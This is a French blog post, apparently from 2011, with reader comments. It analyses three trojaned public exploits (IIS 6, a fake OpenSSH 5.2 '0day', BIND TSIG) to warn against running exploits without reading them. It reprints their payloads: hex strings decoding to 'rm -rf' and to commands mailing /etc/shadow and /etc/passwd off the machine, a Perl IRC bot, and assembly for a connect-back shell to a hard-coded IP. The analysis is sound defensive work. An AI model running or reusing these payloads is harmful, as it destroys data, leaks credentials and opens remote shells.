samedi 23 juillet 2011

De l'importance de vérifier les exploits

Bonjour,

Aujourd'hui nous allons voir l'importance de ne pas lancer des exploits publics publiés sur exploit-db, full disclosure ou autre sans analyser la payload qui va avec.

Nombre de personnes (souvent des script kiddies), utilisent des exploits sans faire d'effort de relecture du code. En utilisant ces exploits, ils se font souvent poutré sans même le savoir :).

Le but de cet article va donc de vous montrer les dangers liés à l'exécution d'exploit sans vérification préalable. Ca permet aussi de répondre à la question: "l'ASM et la programmation ça sert à quoi pour un pentester/professionnel de la sécurité?".

IIS 6 Remote Buffer Overflow Exploit

Il y a d'autres perles du même genre comme un "exploit" sur IIS "releasé" y'a quelques années: IIS 6 Remote Buffer Overflow Exploit
.
Le sploit ressemble à ça:
char shellcode[] =
 "\x2f\x62\x69\x6e\x2f\x72\x6d\x20"
 "\x2d\x72\x66\x20\x2f\x68\x6f\x6d"
 "\x65\x2f\x2a\x3b\x63\x6c\x65\x61"
 "\x72\x3b\x65\x63\x68\x6f\x20\x62"
 "\x6c\x34\x63\x6b\x68\x34\x74\x2c"
 "\x68\x65\x68\x65";
 
 char launcher [] =
 "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x73"
 "\x68\x61\x64\x6f\x77\x20\x7c\x6d\x61\x69"
 "\x6c\x20\x66\x75\x6c\x6c\x2d\x64\x69"
 "\x73\x63\x6c\x6f\x73\x75\x72\x65\x40"
 "\x6c\x69\x73\x74\x73\x2e\x67\x72\x6f\x6b"
 "\x2e\x6f\x72\x67\x2e\x75\x6b\x20";
 
 char netcat_shell [] =
 "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70"
 "\x61\x73\x73\x77\x64\x20\x7c\x6d\x61\x69"
 "\x6c\x20\x66\x75\x6c\x6c\x2d\x64\x69"
 "\x73\x63\x6c\x6f\x73\x75\x72\x65\x40"
 "\x6c\x69\x73\x74\x73\x2e\x67\x72\x6f\x6b"
 "\x2e\x6f\x72\x67\x2e\x75\x6b\x20";
 
 
 main()
 {
 
 //Section Initialises designs implemented by mexicans
 //Imigrate
 system(launcher);
 system(netcat_shell);
 system(shellcode);
 
 //int socket = 0;
 //double long port = 0.0;
 
 //#DEFINE port host address
 //#DEFINE number of inters
 //#DEFINE gull eeuEE
 
  //     for(int j; j < 30; j++)
         {
         //Find socket remote address fault
         printf(".");
         }
 //overtake inetinfo here IIS_666666^
 return 0;
 }

Trop fort! Le gars balance 3 system() et il veut nous faire croire que ça exploit un overflow?
(Et surtout vu la taille des "shellcodes" ... trop petit pour faire quoique ce soit d'intéressant sous Windows).

En se penchant rapidement sur la chose:
shellcode = "/bin/rm -rf /home/*;clear;echo bl4ckh4t,hehe"
launcher = "cat /etc/shadow |mail full-disclosure@lists.grok.org.uk"
netcat_shell = "cat /etc/passwd |mail full-disclosure@lists.grok.org.uk"

Magnifique non? Vous venez de détruire vos données et de leaker des infos (sous conditions que vous soyez logguez avec les privilèges qu'il faut ;)).
Bon c'était pas trop crédible au vu du code ...

Un connu et plus crédible.

Le fameux "0day" OpenSSH 5.2

Un beau jour durant lequel je fais mon habituel checking des news ... je tombe sur une news énormissime: il y aurait un 0day SSH en circulation Oo.
C'était après la NDH2009 (donc à mes débuts plus ou moins ;)).
Quelques jour après, on a droit à ce code qui est posté sur plusieurs mailings lists:

/* 0pen0wn.c by anti-sec group
 * ---------------------------
 * OpenSSH <= 5.2 REMOTE (r00t) EXPLOIT.
 *
 *
 * Takes advantage of an off-by-one
 * bug in mapped authentication space on system
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define VALID_RANGE 0xb44ffe00
#define build_frem(x,y,a,b,c) a##c##a##x##y##b

char jmpcode[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";

char shellcode[] =
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a";

char fbsd_shellcode[] =
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70"
"\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b"
"\x2f\x74\x6d\x70\x2f\x68\x69\x0a";

#define SIZE 0xffffff
#define OFFSET 131
#define fremote build_frem(t,e,s,m,y)

void usage(char *arg){
  printf("\n[+] 0pen0wn 0wnz Linux/FreeBSD\n");
  printf(" Usage: %s -h -p port\n",arg);
  printf(" Options:\n");
  printf(" \t-h ip/host of target\n");
  printf(" \t-p port\n");
  printf(" \t-d username\n");
  printf(" \t-B memory_limit 8/16/64\n\n\n");
}

#define FD 0×080518fc
#define BD 0×08082000

int main(int argc, char **argv){ 
  FILE *jmpinst; 
  char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr; 
  int port=23, limit=8, target=0, sock; 
  struct hostent *host; 
  struct sockaddr_in addr; 
  if (geteuid()) { 
    puts("need root for raw socket, etc..."); 
    return 1; 
  } 
  if(argc < 3) { 
    usage(argv[0]); 
    return 1; 
  } 
  printf("\n  [+] 0wn0wn - by anti-sec group\n"); 
  if (!inet_aton(h, &addr.sin_addr)) { 
    host = gethostbyname(h); 
    if (!host) { 
      printf("  [-] Resolving failed\n"); 
      return 1; 
    } 
    addr.sin_addr = *(struct in_addr*)host->h_addr; 
  } 
  sock = socket(PF_INET, SOCK_STREAM, 0); 
  addr.sin_port = htons(port); 
  addr.sin_family = AF_INET; 
  if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){ 
      printf("  [-] Connecting failed\n"); 
      return 1; 
  } 
  payload = malloc(limit * 10000); 
  ptr = payload+8; 
  memcpy(ptr,jmpcode,strlen(jmpcode)); 
  jmpinst=fopen(shellcode+793,"w+"); 
  if (jmpinst) { 
    fseek(jmpinst,0,SEEK_SET); 
    fprintf(jmpinst,"%s",shellcode); 
    fclose(jmpinst); 
  } 
  ptr += strlen(jmpcode); 
  if (target != 5 && target != 6) { 
    memcpy(ptr,shellcode,strlen(shellcode)); 
    ptr += strlen(shellcode); 
    memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode)); 
  } else{ 
    memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode)); 
    ptr += strlen(fbsd_shellcode); 
    memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode)); 
  } 
  send(sock,buffer,strlen(buffer),0); 
  send(sock,ptr,3750,0); 
  close(sock); 
  if (connect(sock, (struct sockaddr*)&addr, sizeof(addr))  == -1) { 
    printf("  [-] connecting failed\n"); 
  } 
  payload[sizeof(payload)-1] = '\0'; 
  payload[sizeof(payload)-2] = '\0'; 
  send(sock,buffer,strlen(buffer),0); 
  send(sock,payload,strlen(payload),0); 
  close(sock); 
  free(payload); 
  addr.sin_port = htons(6666); 
  if (connect(sock, (struct sockaddr*)&addr, sizeof(addr))  == 0) { 
    /* v--- our cool bar that says: "r0000000t!!!" */ 
    printf("\n  [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]\n\n"); 
    fremote("PS1='sh-3.2#' /bin/sh"); 
  } else {
    printf("  [-] failed to exploit target :-(\n");
  }
  close(sock); 
  return 0; 
}

Le sploit a l'air "légitime" au premier abord mais je n'avais jamais mais alors jamais vu un shellcode aussi énorme ... de plus ça vient d'un groupe pronant l'anti-sec. De quoi ne pas faire confiance ... :).

Le "jmpcode":
rm -rf ~ /* 2> /dev/null &

Le "shellcode":
#!/usr/bin/perl
$chan="#cn";
$ke";
while (<$sockG (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
n";
            #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="G (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
irc.ham.de.euirc.net";$SIG{TERM}";
while (<$sock";
while (<$sockn";
            sleep 1;
       n";
            #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}sleep 1;
       sleep 1;
       ";
while (<$sockn";
            sleep 1;
       #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl

Et le "shellcode FreeBSD":
";
while (<$sockn";
             ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}";
while (<$sock";
while (<$sockn";
            sleep 1;
       n";
            #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="sleep 1;
       #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="}}#chmod +x /tmp/hi 2>/dev/null;/tmp/hi

Eh oui, 2 beaux scripts Perl qui vont vous connecter à une chan IRC ...
Par contre, je ne vois pas du tout comment ils le lancent leur script PERL, pas d'execve(), pas de system() ... si quelqu'un peut répondre à cette question ça serait cool :).

Et on va finir par le plus "stealth" :).

BIND TSIG buffer overflow

Il y a quelques années de ça déjà (2001!!), un remote BOF sur BIND (donc assez critique) apparait sur les mailings lists: BIND TSIG buffer overflow .
Le pire dans l'histoire c'est que c'est un vrai sploit :). L'analyse par l'équipe Metasploit: Penetration Testing: Learn Assembly?, montre tout de même que le bouzin est backdooré.
Déjà là où on peut tilter c'est la taille de la payload ... 190 bytes! Enorme pour une payload connectback Linux. De mes souvenirs ça tiens plutôt entre 90-128 bytes mais pas 190 ...

Le code ASM analysé (et parfaitement assemblable avec NASM ;)):
bits 32

section .text
    global _start

_start:
    cmp al, 0x90
    mov esi, esp
    add esi, byte +0x40
    mov dword [esi], 0xac0b0002         ; 0x2 => AF_INET and 0x0bac = 2988 = port
    mov dword [esi+0x4], 0xa047c497     ; ip = 151.196.71.160

.connection:
    ; socket(PF_INET, SOCK_STREAM, 0);
    xor eax, eax
    ; sin_zero
    mov [esi+0x8], eax
    mov [esi+0xc], eax
    ; construct socketcall args[]
    xor eax, eax
    mov [esi+0x28], eax     ; IPPROTO_IP
    inc eax
    mov [esi+0x24], eax     ; SOCK_STREAM
    inc eax
    mov [esi+0x20], eax     ; PF_INET
    lea ecx, [esi+0x20]     ; socketcall args
    xor ebx, ebx
    inc ebx                 ; socket()
    xor eax, eax
    add eax, byte +0x66     ; socketcall()
    push ecx                ; socket call args
    push ebx                ; SYS_SOCKET
    push eax                ; __NR_SOCKETCALL
    int 0x80

    ; connect(sockfd, {sa_family=AF_INET, sin_port=htons(2988), sin_addr=inet_addr("151.196.71.160")}, 16);
    mov [esi+0x20], eax     ; sockfd
    nop
    cmp al, 0x90
    lea eax, [esi]
    mov [esi+0x24], eax     ; const struct sockaddr *serv_addr
    xor eax, eax
    add eax, byte +0x10
    mov [esi+0x28], eax     ; addrlen
    pop eax                 ; __NR_SOCKETCALL
    pop ebx                 
    pop ecx                 ; sockcall args
    inc ebx                 
    inc ebx                 ; ebx = SYS_CONNECT
    push dword [esi+0x20]   ; sockfd
    int 0x80

    pop ebx                 ; ebx = sockfd
    dec edi                 ; assume edi = 0 for connection to 151.196.71.160 then "our" connection
    jz .launchshell

    ; send sockaddr struct
    ; write(sockfd, buf, 12);
    mov eax, [esp]
    mov [esi+0x8], eax
    nop
    mov ebp, 0x100007f              ; ip = 127.0.0.1
    mov [esi+0x4], ebp
    mov dword [esi], 0x86358003     ; id number for exploit?
    mov eax, 0x4                    ; __NR_WRITE
    lea ecx, [esi]                  ; const char *buf
    xor edx, edx
    add edx, byte +0xc              ; size_t count = 12
    int 0x80

    ; go back to do the same
    ; socket(PF_INET, SOCK_STREAM, 0);
    ; connect(sockfd, {sa_family=AF_INET, sin_port=htons(2987), sin_addr=inet_addr("127.0.0.1")}, 16);
    ; write(sockfd, buf, 12);
    mov dword [esi], 0xab0b0002     ; 0x2 => AF_INET and 0x0bab = 2987 = port
    mov [esi+0x4], ebp
    nop
    xor edi, edi
    inc edi
    jmp short .connection

.launchshell:
    ; dup2(sockfd, 0)
    nop
    xor eax, eax
    add eax, byte +0x3f             ; dup2
    xor ecx, ecx                    ; stdin
    push eax
    int 0x80

    ; dup2(sockfd, 1)
    pop eax
    inc ecx                         ; stdout
    int 0x80

    ; execve("/bin/sh", ["/bin/sh", NULL], [NULL])
    mov dword [esi], "/bin"
    mov dword [esi+0x4], "/sh"
    mov eax, esi
    add eax, byte +0x8
    mov [esi+0x8], eax
    xor eax, eax
    mov [esi+0xc], eax
    mov al, 0xb                     ; execve()
    lea edx, [esi+0xc]              ; char const *envp[]
    lea ecx, [esi+0x8]              ; char const *argv[]
    mov ebx, esi                    ; filename path
    int 0x80

    ; exit(ebx)
    xor eax, eax
    inc eax
    int 0x80

On finit par avoir quelque chose qui ressemble à ça:
sockfdAuthor = socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sockfdAuthor, {sa_family=AF_INET, sin_port=htons(2988), sin_addr=inet_addr("151.196.71.160")}, 16);
write(sockfdAuthor, buf, 12);
sockfdYou = socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sockfdYou, {sa_family=AF_INET, sin_port=htons(2987), sin_addr=inet_addr("127.0.0.1")}, 16) = 4
dup2(sockfdYou, 0);
dup2(sockfdYou, 1);
execve("/bin/sh", ["/bin/sh", NULL], [NULL]);

le 127.0.0.1 est modifié dans le code du sploit.
Mais wahou, ... la machine attaquée se connecte à l'auteur et lui envoie quelques infos (comme l'ip de l'attaquant).
Bonne manière de tracer les kikoos qui vont s'aventurer à lancer le sploit ... par contre pas trop éthique je pense ;).

Conclusion

Ce sont de vieuxs "exploits" mais ils illustrent parfaitement l'importance de l'analyse du code et de la "décortication" de binaires, exploits, shellcodes, etc.
Avoir des tools d'analyse performants et efficaces est une gageure donc assez majeure dans le domaine de l'informatique. Sans tools, on fait pas grand choses ... mais ne vous fiez pas que à vos tools ;).
J'espère que ça vous a ouvert un minimum les yeuxs ;). Quand c'est trop beau pour être vrai, faut se poser des questions après tout.

Cet article pourrait également donner des idées à certains pour "poutrer" les scripts kiddies et empêcher qu'ils fassent des dégâts. Je ne saurais trop le conseiller ... ce n'est pas éthique et non légal de le faire. Donc à vos risques et périls.
Vous pourriez par contre toujours afficher un dialog box: "Get lost" ;).

Au passage, si vous trouvez des "fake sploits", n'hésitez pas à me faire signe. De plus ça pourrait être intéressant de constituer une base de données les repertoriants.

Sur ce,

A la prochaine pour de nouvelles aventures,

m_101

5 commentaires :

  1. Concernant le "0day" OpenSSH 5.2 et son exec ; il s'agit bien s'un system() part les 2 fonctions en define :

    #define build_frem(x,y,a,b,c) a##c##a##x##y##b
    #define fremote build_frem(t,e,s,m,y)

    qui par substitution devient system !

    Cya,
    Meth

    RépondreSupprimer
  2. Bonne info. Merci :)

    J'avais déjà celui traitant de ssh (ici ?)

    Cela dit, en parlant tool, existe t-il un moyen rapide avec bash de convertir de l'hexa en ASCII, style :

    echo '{ibase=x; obase=y; DonnéeATraiter}' | bc -q

    mais plus souple/puissant (ce sera pas dur je pense :) )
    pour un jeune debutant comme moi ?

    Stf

    RépondreSupprimer
  3. Merci pour la précision de system() ... rofl je l'ai bien louppé lui ^^" (j'avais des suspicion sur le #define mais bon).

    Pour l'analyse de shellcodes de manière plus rapide, il existe des outils comme le honeypot Dionaea qui contient un émulateur x86, etc. Il trace automatiquement la payload et reconnait les appels, etc.
